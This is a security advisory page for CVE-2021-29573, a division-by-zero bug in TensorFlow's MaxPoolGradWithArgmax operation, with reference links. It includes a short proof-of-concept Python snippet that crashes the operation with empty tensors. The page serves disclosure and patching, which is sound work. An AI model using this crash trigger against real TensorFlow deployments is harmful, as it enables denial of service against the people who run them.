CVE-2021-29573: Division by 0 in `MaxPoolGradWithArgmax`
(updated )
The implementation of tf.raw_ops.MaxPoolGradWithArgmax is vulnerable to a division by 0:
import tensorflow as tf
input = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
grad = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
argmax = tf.constant([], shape=[0], dtype=tf.int64)
ksize = [1, 1, 1, 1]
strides = [1, 1, 1, 1]
tf.raw_ops.MaxPoolGradWithArgmax(
input=input, grad=grad, argmax=argmax, ksize=ksize, strides=strides,
padding='SAME', include_batch_in_index=False)
References
- github.com/advisories/GHSA-9vpm-rcf4-9wqw
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-501.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-699.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-210.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/376c352a37ce5a68b721406dc7e77ac4b6cf483d
- github.com/tensorflow/tensorflow/security/advisories/GHSA-9vpm-rcf4-9wqw
- nvd.nist.gov/vuln/detail/CVE-2021-29573
Code Behaviors & Features
Detect and mitigate CVE-2021-29573 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →